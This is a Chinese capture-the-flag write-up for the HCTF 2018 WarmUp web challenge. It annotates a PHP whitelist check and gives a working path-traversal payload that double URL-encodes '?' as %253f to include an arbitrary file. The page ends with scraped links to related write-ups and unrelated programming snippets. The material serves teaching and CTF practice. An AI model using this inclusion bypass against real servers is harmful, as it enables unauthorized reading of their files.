BUUCTF-[HCTF 2018]WarmUp
php中可以使用strpos函数与mb_strpos函数获取指定的字符串在别一个字符串中首次出现的位置,也可以使用它们判断一串字符串中是否包含别一个字符串.
PHP strpos() 函数
查找 "php" 在字符串中第一次出现的位置:<?php
echo strpos("You love php, I love php too!","php");
?>
运行结果:9
PHP mb_substr() 函数
定义和用法mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
审计题目源码##
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
/*2
为了返回 true 两个条件必须满足
1 page存在
2 page是字符串 ,
这里和外层的判断file 一致基本是再次判断了一遍
*/
echo "you can't see it";
return false;
}
/*3
in_array(search,array,type) 函数搜索数组中是否存在指定的值,
白名单过滤,需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看
*/
if (in_array($page, $whitelist)) {
return true;
}
/*
这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,
所以基本可以理解为获取page 两个?之间的字符串,
也就是获取file两个?之间的字符串,
放到url中就是http://ip/?file=ddd?中的file=ddd
*/
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
//' 6 这里和上面类似 查看_page 是否在白名单中
return true;
}
$_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
$_page = mb_substr(//获取两个??之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 这里是我们要绕过的点,从这里往上看 尝试构造
if (in_array($_page, $whitelist)) {//白名单
return true;
}
echo "you can't see it";
return false;
}
}
/*1
必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含:
1 REQUEST['file']不为空
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true
*/
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
可以看到函数代码中有四个if语句第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。
只要这四个if语句有一个为true即可包含file,
关键点在_page 经过截断后返回true.
('?'两次编码值为'%253f'),绕过前面的白名单过滤后构造url:
http://:/source.php?file=source.php%253f../ffffllllaaaagggg
无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加../,最终在http://:/source.php?file=source.php%253f../../../../../ffffllllaaaagggg中成功回显flag
注:两次url编码,第一次是url传入到服务器时解码了一次,第二次是page传给_page解码了一次
参考链接:https://www.jianshu.com/p/36eaa95068ca
https://blog.csdn.net/wang_624/article/details/101433257
BUUCTF-[HCTF 2018]WarmUp的更多相关文章
- [原题复现]HCTF 2018 Warmup(文件包含)
HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- BUUCTF | [HCTF 2018]admin
首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...
- [HCTF 2018]WarmUp
靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php highlight_file(__FILE__) ...
- [BUUOJ记录] [HCTF 2018]WarmUp
BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...
- 刷题[HCTF 2018]WarmUp
解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...
- CTF-WEB-HCTF 2018 Warmup
题目链接 攻防世界-Warmup 解题思路 [原题复现]HCTF 2018 Warmup(文件包含)
- warmup(HCTF 2018)
为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...
- [HCTF 2018]admin
前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...
随机推荐
- python操作mongoDB(pymongo的使用)
pymongo操作手册 连接数据库 方法一(推荐) import pymongo client = pymongo.MongoClient(host="localhost",por ...
- Element 以二进制的形式 自定义上传图片
一,只有在上传文件之前的钩子函数中才可以获得最初的文件(文件本身的二进制形式),用以以上传服务器. 还需要使用formdata来承载数据,便于接收 <template> <div ...
- Jdk8中Stream流的使用,让你脱离for循环
学习要求: 知道一点儿函数式接口和Lambda表达式的基础知识,有利于更好的学习. 1.先体验一下Stream的好处 需求:给你一个ArrayList用来保存学生的成绩,让你打印出其中大于60的成绩. ...
- setTimeout的异步
http://www.cnblogs.com/littledu/articles/2607211.html http://www.cnblogs.com/rubylouvre/archive/2009 ...
- 《机学一》特征工程1 ——文本处理:sklearn抽取、jieba中文分词、TF和IDF抽取
零.机器学习整个实现过程: 一.机器学习数据组成 特征值: 目标值: 二.特征工程和文本特征提取 1.概要: 1.特征工程是什么 2.特征工程的意义:直接影响预测结果 3.scikit-learn库 ...
- maven项目打包和运行
1. 添加pom <build> <plugins> <plugin> <artifactId>maven-assembly-plugin</ar ...
- poj 2376 Cleaning Shifts 最小区间覆盖
Cleaning Shifts Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 40751 Accepted: 9871 ...
- Golang的选择结构-if语句
Golang的选择结构-if语句 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.选择语句应用场景概述 选择结构也称为条件判断,生活中关于判断的场景也非常的多,比如: ()登录Q ...
- C++Socket通信(客户端和服务器)
win32控制台版 获取本机IP: cmd: ipconfig/all 我写的是一个服务器和客户端点对点的信息传递(实现相互的可以适当更改代码): 服务器发送给客户端的是一个结构体数据 t ...
- node - 读取cookie
req.headers.cookie